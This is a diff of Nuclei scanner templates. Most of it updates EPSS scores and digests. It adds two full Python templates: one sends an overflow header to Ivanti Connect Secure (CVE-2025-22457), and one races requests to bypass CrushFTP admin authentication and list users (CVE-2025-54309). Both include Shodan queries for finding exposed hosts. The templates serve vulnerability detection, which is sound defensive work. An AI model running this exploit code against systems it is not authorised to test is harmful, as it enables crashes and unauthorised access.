# digest: 4a0a0047304502205bca4f67419c76e52e76790803d03aa8918f8e7f4035b6ddd0cdffa1629461e6022100cd7dc23f2d72eb9dc86b3044fda3ed86d434d55d5a7a2df3c09e15da9b13ed73:922c64590222798bb761d5b6d8e72950
|
||||
@@ -18,6 +18,7 @@ info:
|
||||
- https://bishopfox.com/blog/exploit-cve-2022-42475
|
||||
classification:
|
||||
epss-score: 0.94003
|
||||
epss-percentile: 0.99882
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-42475
|
||||
@@ -174,4 +175,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "Target appears to be VULNERABLE"
|
||||
# digest: 490a004630440220200109caa2f7e95a45434593458382a6ca875167ade0946689005f9fc29664df0220764ae12713d8cb30e3105165bd261c4564a51b50ee294d63d57ca53aa338374d:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100e945297391435582b816c26a8baa37b4e9dd043b9b4e341524c1176736facda1022100a76d19f32dd34bb6f8e360b01f98257b721b81b06f634aa1970d3d5a601d09a7:922c64590222798bb761d5b6d8e72950
|
||||
@@ -21,8 +21,8 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2023-2640
|
||||
cwe-id: CWE-863
|
||||
epss-score: 0.91874
|
||||
epss-percentile: 0.99680
|
||||
epss-score: 0.92037
|
||||
epss-percentile: 0.99695
|
||||
cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -55,4 +55,4 @@ code:
|
||||
- '!contains(code_1_response, "(root)")'
|
||||
- 'contains(code_2_response, "(root)")'
|
||||
condition: and
|
||||
# digest: 4a0a0047304502202809a713e4b7f0f60945476a6178a11001fed63e5a210c5f7d1e3051d0f2d532022100c48469b0082d1264875fcb51ece29a27c1a5ecc9513ccca86afd183931ae3472:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022056dc39152087b12814ced6e091581d41020aa2bacf5d1ee02a3a6a0ee95e14ea022100a28317b58118132be2bf2a7e2839c27df0863a273e42f1b4dd58fbe43194946c:922c64590222798bb761d5b6d8e72950
|
||||
@@ -16,8 +16,8 @@ info:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2023-2986
|
||||
epss-score: 0.90996
|
||||
epss-percentile: 0.99636
|
||||
epss-score: 0.91813
|
||||
epss-percentile: 0.99677
|
||||
cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -626,4 +626,4 @@ http:
|
||||
- type: status
|
||||
status:
|
||||
- 302
|
||||
# digest: 490a0046304402207360b6e655f665c3206296d537b3fb08f38c3e75292145fdd0ce7ff3d2ebc4950220555ab766a2fc4290ba5e70aebf3972ec448bbaa7f7ec17857a4d36eb1ce85d0d:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100d6722d0424c8762327fada45d43287cd88f03dde1b2305562824e1f8cf18a5e102204b8b971bf8c55076be437f29689f127602830bc288f9086982ea95c89572be9b:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,8 +17,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2023-49105
|
||||
cwe-id: CWE-287
|
||||
epss-score: 0.86688
|
||||
epss-percentile: 0.99395
|
||||
epss-score: 0.88053
|
||||
epss-percentile: 0.99451
|
||||
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
max-request: 2
|
||||
@@ -90,4 +90,4 @@ http:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Username => "+ username'
|
||||
# digest: 4b0a00483046022100d1361a88791cd15ca47fa69ee04109e863d4b64e0ff51fd402aee326f02b3afb022100956866982e3aa3ff3694a645f6b77b7a705056f078771cc8881db8f55acaff45:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402203bc90cf3db6598840f8b89735fc7b5faa60729c90404dc500de94b298f0b3edf02204be72af2b436d401b87e5c533e65522eee1171efeb9daaf48d1d6a5487bff95a:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,8 +17,8 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2023-4911
|
||||
cwe-id: CWE-787,CWE-122
|
||||
epss-score: 0.78156
|
||||
epss-percentile: 0.98452
|
||||
epss-score: 0.79637
|
||||
epss-percentile: 0.99051
|
||||
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
max-request: 1
|
||||
@@ -39,4 +39,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "139" # Segmentation Fault Exit Code
|
||||
# digest: 4a0a0047304502200467c526f6043a379948d8ced51cc69e62cda1e931a681fe275eb9860d715f37022100f445b6a72ea04c499b20fe826724ee120544d715795d1445709b8145a9895277:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a00463044022057fe9042c399831693d385f00ab1f9ce6ab8571c1d8ef813998585f811ccf4f7022060e017ad22c6c3a80e6296b7b5325019ac19ae1d6add91accb8af8b4ae400eca:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,8 +17,8 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2023-6246
|
||||
cwe-id: CWE-787,CWE-122
|
||||
epss-score: 0.26478
|
||||
epss-percentile: 0.95613
|
||||
epss-score: 0.28497
|
||||
epss-percentile: 0.96352
|
||||
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
max-request: 1
|
||||
@@ -39,4 +39,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "127" # Segmentation Fault Exit Code
|
||||
# digest: 490a0046304402202186423140cba034149105b6c5f8fae507a03844c26e4329d1f4437abb29e41202201f13cba920b16ae34421b775498e1bca85f7cc6659582da1e8cfbad540281d7c:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a00463044022050981764d4d847ec27a97b581a8a73ec6630f6425b1f21418f2b4411b133dd1d022014829aa62ac2b4b254e0a5a25c70751c83a54d83dbe140323a58b8dc4c1d2eb4:922c64590222798bb761d5b6d8e72950
|
||||
@@ -13,8 +13,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-10443
|
||||
cwe-id: CWE-77
|
||||
epss-score: 0.67637
|
||||
epss-percentile: 0.98573
|
||||
epss-score: 0.67424
|
||||
epss-percentile: 0.98504
|
||||
cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -54,4 +54,4 @@ code:
|
||||
part: interactsh_protocol # Confirms the HTTP Interaction
|
||||
words:
|
||||
- "dns"
|
||||
# digest: 4a0a00473045022100bc3a13e648e7ec51ac1836066641533bfcdbb2cedab653a2e02b0fd70616fb4602204417a29e0f2a5863f30dfa9119cccd591a4435fcdd7a5ff36a762cbc92812c8b:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100efc899692ba56889eefa31f4c972b138e16bae14b778171caa97a19ebf577354022100d4258feb50df3b57d0742b6ea537ce90738a0c913d681115811243b123f48f55:922c64590222798bb761d5b6d8e72950
|
||||
@@ -14,7 +14,7 @@ info:
|
||||
cve-id: CVE-2024-12356
|
||||
cwe-id: CWE-77
|
||||
epss-score: 0.93687
|
||||
epss-percentile: 0.99831
|
||||
epss-percentile: 0.99841
|
||||
cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
vendor: beyondtrust
|
||||
@@ -37,4 +37,4 @@ code:
|
||||
words:
|
||||
- "0 success"
|
||||
- "1 try again later"
|
||||
# digest: 4b0a004830460221008fdc45694288c9092a928bc2ba325f5b16bf96f4c94065e7afc046dffccdc7f6022100b3c8af22d05813a12e0a1cc490999e848f91a3bbeb4d9e87bc1e3c1dd6a45c0b:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402205302e6f9db6c6cab90d831e927574b89a7d7733af935f0b665cffff82854845602206555163dd1ad33bb4a97add9cadc35b6629cde4bf954e1e6776afbcd7b0f3cd5:922c64590222798bb761d5b6d8e72950
|
||||
@@ -19,8 +19,8 @@ info:
|
||||
cvss-score: 9.1
|
||||
cve-id: CVE-2024-22120
|
||||
cwe-id: CWE-20
|
||||
epss-score: 0.93881
|
||||
epss-percentile: 0.99865
|
||||
epss-score: 0.93596
|
||||
epss-percentile: 0.99831
|
||||
metadata:
|
||||
max-request: 1
|
||||
vendor: zabbix
|
||||
@@ -71,4 +71,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "Vulnerable to CVE-2024-22120"
|
||||
# digest: 4a0a00473045022057371395d4fb23fb810c20049a9d700a8284af6c1bc84864c23f1b4470dc4583022100f4d401098a82c09507f92f49757fb5d6085c9739a37aabc3f9ba8dcd894bdfa8:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402203016be6ffc42aaa476d0f19c52f436ce3cfa7f362901d601d55ac2c41383ccc202201766edfcf64efa3227436b509afd29270d4306a2d2a49289bb6c1575d1da1c59:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,8 +17,8 @@ info:
|
||||
cvss-score: 10
|
||||
cve-id: CVE-2024-3094
|
||||
cwe-id: CWE-506
|
||||
epss-score: 0.84169
|
||||
epss-percentile: 0.99254
|
||||
epss-score: 0.85517
|
||||
epss-percentile: 0.99325
|
||||
cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -59,4 +59,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- response
|
||||
# digest: 4a0a00473045022058d32a2e8218872afa1f30ea214365196b87480a320425dd7b5082c3a11a01c00221009fb13dcff0743b605d213aee84fdc614cddbb7aa034a6bdfdfb5d6e6af71a8c6:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100b7709830d97413ae600502fa82da7a913bc550729996351e476162d223169ed802205065ea2436cdd5c90b46d4c692b5c895e758ebd7db1a3f2f6b139fbfc9484764:922c64590222798bb761d5b6d8e72950
|
||||
@@ -10,8 +10,8 @@ info:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
||||
cvss-score: 7.5
|
||||
cve-id: CVE-2024-4340
|
||||
epss-score: 0.15598
|
||||
epss-percentile: 0.94407
|
||||
epss-score: 0.14988
|
||||
epss-percentile: 0.94296
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
|
||||
tags: cve,cve2024,py,code,dos,python,sqlparse
|
||||
@@ -29,4 +29,4 @@ code:
|
||||
part: stderr
|
||||
words:
|
||||
- "RecursionError: maximum recursion depth exceeded"
|
||||
# digest: 490a0046304402204fca66bc1127003bf7091c3ef4aa8c9a979c22405fb23f6e34ed6ef18a8b0daa0220188f7df879246724eac3b609b7bba222ff83e2a839029e7a0ef168c88260941c:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100f70bd86d25cc374233f087d74a270427f5fabc778a17a1050ef0e7322238f6d50220511cc232b5cd861bd944d8dffa97fb2489379c3086934ad63501b08fce740f62:922c64590222798bb761d5b6d8e72950
|
||||
@@ -20,8 +20,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-45409
|
||||
cwe-id: CWE-347
|
||||
epss-score: 0.14907
|
||||
epss-percentile: 0.94531
|
||||
epss-score: 0.12641
|
||||
epss-percentile: 0.93716
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: http.title:"GitLab"
|
||||
@@ -123,4 +123,4 @@ http:
|
||||
- type: kval
|
||||
kval:
|
||||
- _gitlab_session
|
||||
# digest: 490a0046304402207fcad984b97d6cf3e7d103a97d8ac0b804375bc62fa335801c66337b72c68cb2022028a34cecc66c0b0b0afdc46859c2675df13bcf803911b3c5b00359239183b814:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100e553aaa905aea30704b9873e2acd86647b1de2dc13cf41785c10b8c93182bfe1022047d92d3cca70d845bde92e7d4985cb60d69725345d347ca163e9e1f66136bc34:922c64590222798bb761d5b6d8e72950
|
||||
@@ -18,7 +18,7 @@ info:
|
||||
cve-id: CVE-2024-55556
|
||||
cwe-id: CWE-502
|
||||
epss-score: 0.7976
|
||||
epss-percentile: 0.99096
|
||||
epss-percentile: 0.99056
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 2
|
||||
@@ -193,4 +193,4 @@ http:
|
||||
- type: status
|
||||
status:
|
||||
- 500
|
||||
# digest: 4a0a00473045022100bedda7807b6e8b1de9d06c3de6965d20f099c71510556bb6cd624a2fad2be0db02207a9e0962a7814c6422cdc32195f4b474081785e386a7578b5a1705d5add154cc:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502203ded77224c27e9261f294112e08b22fdda2de22b5b339dd9eda60a9e7e5ae050022100dfe596ce003af166a1dd5a7c35977cc12339f1d89b2099ad6cd5cab3f6a45202:922c64590222798bb761d5b6d8e72950
|
||||
@@ -22,7 +22,7 @@ info:
|
||||
cve-id: CVE-2024-56331
|
||||
cwe-id: CWE-22
|
||||
epss-score: 0.41406
|
||||
epss-percentile: 0.97262
|
||||
epss-percentile: 0.97312
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: http.title:"Uptime Kuma"
|
||||
@@ -124,4 +124,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
|
||||
# digest: 490a004630440220767c6864cb0310b6d63e766a5284e127185a790ded13671c3b33ee3ae955d86a02202e855684ba68b62411f6e36c7e6c472bfbd78ce3f6729980b57f92116bca9a5c:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a004730450220501f52e0f37de8b31ac33ba5dd2cbf3f2345408db59a96404f799d22df041ef2022100b1759fa66cca749a8f1ea1829028ae471b964228ecd2c794e6c150f23fafc471:922c64590222798bb761d5b6d8e72950
|
||||
@@ -10,8 +10,8 @@ info:
|
||||
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
|
||||
- https://github.com/advisories/GHSA-g83h-4727-5rpv
|
||||
classification:
|
||||
epss-score: 0.3891
|
||||
epss-percentile: 0.97110
|
||||
epss-score: 0.37459
|
||||
epss-percentile: 0.97067
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"GitHub Enterprise"
|
||||
@@ -188,4 +188,4 @@ http:
|
||||
- type: kval
|
||||
kval:
|
||||
- user_session
|
||||
# digest: 4a0a00473045022011426fc5ebeb8774da55b3e13ea70980635eae1dfcdc9265862c83ccee5dd32c022100a3811bfcc159dbc91424ddb31e76806b5b1a64acd73aa014e5f2306f058cb32f:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402207019ea3c4871da870d81ec9def68335ffbc9e9adf94225ac597ee55c1c0eb0ed02203f55bdbeb608ca7d9ffb0e7360a974c5ef968009c446122d0e53a190db4d6f10:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,114 @@
|
||||
id: CVE-2025-22457
|
||||
|
||||
info:
|
||||
name: Ivanti Connect Secure - Stack-based Buffer Overflow
|
||||
author: s4e-io
|
||||
severity: critical
|
||||
description: |
|
||||
Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
|
||||
and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by
|
||||
improper input handling, allowing remote attackers to execute arbitrary code without authentication.
|
||||
impact: |
|
||||
Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
|
||||
remediation: |
|
||||
Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
|
||||
reference:
|
||||
- https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
|
||||
- https://www.cvedetails.com/cve/CVE-2025-22457
|
||||
- https://github.com/securekomodo/CVE-2025-22457
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
cvss-score: 9.0
|
||||
cve-id: CVE-2025-22457
|
||||
cwe-id: CWE-121,CWE-787
|
||||
epss-score: 0.73096
|
||||
epss-percentile: 0.98732
|
||||
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
|
||||
metadata:
|
||||
vendor: ivanti
|
||||
product: connect_secure
|
||||
shodan-query: http.title:"ivanti connect secure"
|
||||
fofa-query: title="ivanti connect secure"
|
||||
zoomeye-query: title:"ivanti connect secure"
|
||||
google-query: intitle:"ivanti connect secure"
|
||||
tags: cve,cve2025,ivanti,intrusive,kev
|
||||
|
||||
variables:
|
||||
HOST: "{{Host}}"
|
||||
PORT: "{{Port}}"
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
|
||||
source: |
|
||||
import os
|
||||
import time
|
||||
import requests
|
||||
|
||||
TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
|
||||
TIMEOUT = 10
|
||||
|
||||
class IvantiExploit:
|
||||
def __init__(self, host, port):
|
||||
self.host = host.rstrip("/")
|
||||
self.port = port
|
||||
|
||||
def check_vuln(self):
|
||||
host = self.host
|
||||
if not host.startswith("http://") and not host.startswith("https://"):
|
||||
host = f"https://{host}"
|
||||
|
||||
url = f"{host}:{self.port}{TARGET_PATH}"
|
||||
|
||||
print(f"Testing {url}")
|
||||
|
||||
#1 Pre-check: Check if target is reachable and status is 200.
|
||||
try:
|
||||
r1 = requests.get(url, timeout=TIMEOUT, verify=False)
|
||||
except requests.RequestException:
|
||||
r1 = None
|
||||
if not r1 or r1.status_code != 200:
|
||||
print("Pre-check failed because target is not reachable or status is not 200.")
|
||||
return False
|
||||
|
||||
print("Pre-check successful.")
|
||||
|
||||
#2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.
|
||||
|
||||
payload_header = {"X-Forwarded-For": "1"*2048}
|
||||
try:
|
||||
r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
|
||||
except requests.RequestException:
|
||||
r2 = None
|
||||
if r2:
|
||||
print("Payload is not working.")
|
||||
return False
|
||||
else:
|
||||
print("Payload is working.")
|
||||
time.sleep(1)
|
||||
|
||||
#3 Follow-up: Check if target is still reachable after payload.
|
||||
|
||||
try:
|
||||
r3 = requests.get(url, timeout=TIMEOUT, verify=False)
|
||||
except requests.RequestException:
|
||||
r3 = None
|
||||
if r3.status_code == 200:
|
||||
print(f"VULNERABLE: {self.host}:{self.port}")
|
||||
return True
|
||||
|
||||
print("Target seems safe")
|
||||
return False
|
||||
|
||||
if __name__ == "__main__":
|
||||
host = os.getenv("Host")
|
||||
port = os.getenv("Port")
|
||||
IvantiExploit(host, port).check_vuln()
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "VULNERABLE:"
|
||||
# digest: 4a0a004730450221008f39ab13f54ed65e28f24098859d9208b9e9e57940189f19c95453edef3f92b9022072c67e4f8f728af1eeced5d2289a3c60e09117b38f2bb6fb0d312315f9696566:922c64590222798bb761d5b6d8e72950
|
||||
@@ -19,8 +19,8 @@ info:
|
||||
cvss-score: 9.3
|
||||
cve-id: CVE-2025-25291
|
||||
cwe-id: CWE-347
|
||||
epss-score: 0.02296
|
||||
epss-percentile: 0.81527
|
||||
epss-score: 0.13868
|
||||
epss-percentile: 0.94047
|
||||
metadata:
|
||||
verified: true
|
||||
vendor: gitlab
|
||||
@@ -78,4 +78,4 @@ http:
|
||||
- type: kval
|
||||
kval:
|
||||
- _gitlab_session
|
||||
# digest: 4a0a004730450220235b1de01210fb06562b784c31b9774a385c46ff77e11ce19f1df321822bc3e8022100d6bad0364c99e6c8086521ab2accbb9575b74af87cc682d0d57ef38099fbe991:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a00463044022079eb72994035f50304a65d5280d270272f88fcbb00b63f95263c798c6b94c65e022043dea950783f7dd892a0d3c0a97eb66c8bdb331ae7d80e3c26fa09866db32477:922c64590222798bb761d5b6d8e72950
|
||||
@@ -20,8 +20,8 @@ info:
|
||||
cvss-score: 10
|
||||
cve-id: CVE-2025-32433
|
||||
cwe-id: CWE-306
|
||||
epss-score: 0.57377
|
||||
epss-percentile: 0.97930
|
||||
epss-score: 0.66921
|
||||
epss-percentile: 0.98487
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
@@ -172,4 +172,4 @@ code:
|
||||
dsl:
|
||||
- 'contains(interactsh_protocol, "dns")'
|
||||
condition: and
|
||||
# digest: 4a0a00473045022100e36084dcd9b8fa5347cf8bf47d18d1e3d76a0744981414bbcbc23fd7e702706102204ef22a6591bcc3ee21aee8ed14e150571204b0fda60f783ec25790c083b54e0b:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a004630440220660e150f152bc367b8fcb1d5a48e450ecde4919da79268581b5238f00c41d8f302204db6caff0293ecd1566ed58c26e821e9f6ea71ad8f2eb993155fa194dbcf4bf5:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,203 @@
|
||||
id: CVE-2025-54309
|
||||
|
||||
info:
|
||||
name: CrushFTP - Authentication Bypass Race Condition
|
||||
author: pussycat0x,watchTowr,dhiyaneshdk
|
||||
severity: critical
|
||||
description: |
|
||||
CrushFTP 10 before 10.8.5 and 11 before 11.3.4_23, when the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS, as exploited in the wild in July 2025.
|
||||
impact: |
|
||||
Remote attackers can bypass authentication and access sensitive user data, potentially leading to unauthorized access to the CrushFTP system and exfiltration of user information.
|
||||
remediation: |
|
||||
Update to the latest version of CrushFTP that patches this authentication bypass vulnerability.
|
||||
reference:
|
||||
- https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309/blob/main/watchTowr-vs-CrushFTP-CVE-2025-54309.py
|
||||
- https://labs.watchtowr.com/the-one-where-we-just-steal-the-vulnerabilities-crushftp-cve-2025-54309/
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2025-54309
|
||||
epss-score: 0.37611
|
||||
epss-percentile: 0.9708
|
||||
cwe-id: CWE-287,CWE-362
|
||||
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
vendor: crushftp
|
||||
product: crushftp
|
||||
shodan-query:
|
||||
- http.title:"crushftp"
|
||||
- http.favicon.hash:-1022206565
|
||||
fofa-query:
|
||||
- title="crushftp"
|
||||
- icon_hash="-1022206565"
|
||||
zoomeye-query: title:"crushftp"
|
||||
google-query: intitle:"crushftp"
|
||||
tags: cve,cve2025,crushftp,auth-bypass,race-condition
|
||||
|
||||
variables:
|
||||
HOST: "{{Host}}"
|
||||
PORT: "{{Port}}"
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
source: |
|
||||
import requests
|
||||
import threading
|
||||
import time
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import os
|
||||
|
||||
def generate_random_c2f():
|
||||
"""Generate random 4-character c2f value"""
|
||||
return ''.join(random.choices(string.ascii_letters + string.digits, k=4))
|
||||
|
||||
def make_request_with_as2(target_url, c2f_value, cookie):
|
||||
"""Make request with AS2-TO header and disposition-notification content type"""
|
||||
url = f"{target_url}/WebInterface/function/"
|
||||
|
||||
headers = {
|
||||
"Host": target_url.replace("http://", "").replace("https://", ""),
|
||||
"User-Agent": "python-requests/2.32.3",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept": "*/*",
|
||||
"Connection": "keep-alive",
|
||||
"AS2-TO": "\\crushadmin",
|
||||
"Content-Type": "disposition-notification",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Cookie": cookie
|
||||
}
|
||||
|
||||
data = {
|
||||
"command": "getUserList",
|
||||
"serverGroup": "MainUsers",
|
||||
"c2f": c2f_value
|
||||
}
|
||||
|
||||
try:
|
||||
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
|
||||
return f"AS2 Request - Status: {response.status_code}", response.text
|
||||
except Exception as e:
|
||||
return f"AS2 Request - Error: {str(e)}", ""
|
||||
|
||||
def make_request_without_as2(target_url, c2f_value, cookie):
|
||||
"""Make request without AS2-TO header and disposition-notification content type"""
|
||||
url = f"{target_url}/WebInterface/function/"
|
||||
|
||||
headers = {
|
||||
"Host": target_url.replace("http://", "").replace("https://", ""),
|
||||
"User-Agent": "python-requests/2.32.3",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept": "*/*",
|
||||
"Connection": "keep-alive",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Cookie": cookie
|
||||
}
|
||||
|
||||
data = {
|
||||
"command": "getUserList",
|
||||
"serverGroup": "MainUsers",
|
||||
"c2f": c2f_value
|
||||
}
|
||||
|
||||
try:
|
||||
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
|
||||
return f"Regular Request - Status: {response.status_code}", response.text
|
||||
except Exception as e:
|
||||
return f"Regular Request - Error: {str(e)}", ""
|
||||
|
||||
def check_vulnerable_response(response_text):
|
||||
"""Check if response contains user_list_subitem pattern and extract usernames"""
|
||||
if "<user_list_subitem>" in response_text:
|
||||
usernames = re.findall(r'<user_list_subitem>(.*?)</user_list_subitem>', response_text)
|
||||
if usernames:
|
||||
top_users = usernames[:10]
|
||||
print(f"[*] EXFILTRATED {len(top_users)} USERS: {', '.join(top_users)}")
|
||||
return True
|
||||
return False
|
||||
|
||||
def race_requests_with_detection(target_url, num_requests=100):
|
||||
"""Race multiple requests and detect vulnerability"""
|
||||
print(f"Starting race with {num_requests} request pairs...")
|
||||
|
||||
for i in range(num_requests):
|
||||
# Generate new c2f every 50 requests
|
||||
if i % 50 == 0:
|
||||
c2f_value = generate_random_c2f()
|
||||
cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
|
||||
print(f"[*] NEW SESSION: c2f={c2f_value}")
|
||||
else:
|
||||
c2f_value = generate_random_c2f()
|
||||
cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
|
||||
|
||||
# Store results
|
||||
results = {'as2': None, 'regular': None}
|
||||
|
||||
def as2_worker():
|
||||
results['as2'] = make_request_with_as2(target_url, c2f_value, cookie)
|
||||
|
||||
def regular_worker():
|
||||
results['regular'] = make_request_without_as2(target_url, c2f_value, cookie)
|
||||
|
||||
# Create and start threads
|
||||
t1 = threading.Thread(target=as2_worker)
|
||||
t2 = threading.Thread(target=regular_worker)
|
||||
|
||||
# Start both threads simultaneously
|
||||
t1.start()
|
||||
t2.start()
|
||||
|
||||
# Wait for both to complete
|
||||
t1.join()
|
||||
t2.join()
|
||||
|
||||
# Check for vulnerability in both responses
|
||||
as2_status, as2_response = results['as2']
|
||||
regular_status, regular_response = results['regular']
|
||||
|
||||
# Check if either response contains the user list pattern
|
||||
if check_vulnerable_response(as2_response) or check_vulnerable_response(regular_response):
|
||||
print(f"VULNERABLE: {target_url}")
|
||||
return True
|
||||
|
||||
# Print progress every 25 requests
|
||||
if (i + 1) % 25 == 0:
|
||||
print(f"[*] PROGRESS: {i + 1}/{num_requests} request pairs completed...")
|
||||
|
||||
return False
|
||||
|
||||
if __name__ == "__main__":
|
||||
host = os.getenv("Host")
|
||||
port = os.getenv("Port")
|
||||
|
||||
if not host:
|
||||
print("Host environment variable not set")
|
||||
exit(1)
|
||||
|
||||
# Construct target URL
|
||||
if not host.startswith(('http://', 'https://')):
|
||||
target_url = f"http://{host}"
|
||||
if port and port != "80":
|
||||
target_url = f"http://{host}:{port}"
|
||||
else:
|
||||
target_url = host
|
||||
if port and port != "80" and port not in host:
|
||||
target_url = f"{host}:{port}"
|
||||
|
||||
print(f"[*] Testing target: {target_url}")
|
||||
|
||||
# Try 100 requests with race condition detection
|
||||
if race_requests_with_detection(target_url, 100):
|
||||
print("VULNERABLE: Race condition vulnerability detected!")
|
||||
else:
|
||||
print("Target appears to be patched or timing window missed")
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "VULNERABLE:"
|
||||
# digest: 4a0a00473045022100b6cbb058961ab26bd85ef315ae73bec0108bbcb511bdff3afeb719cc79639419022050cf84022a44bfced430ead398ab43f11a34c90a664ad2fe406eb5273cbd75a0:922c64590222798bb761d5b6d8e72950
|
||||
@@ -15,7 +15,8 @@ info:
|
||||
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
|
||||
classification:
|
||||
epss-score: 0.11118
|
||||
epss-score: 0.16633
|
||||
epss-percentile: 0.94658
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2025-6216
|
||||
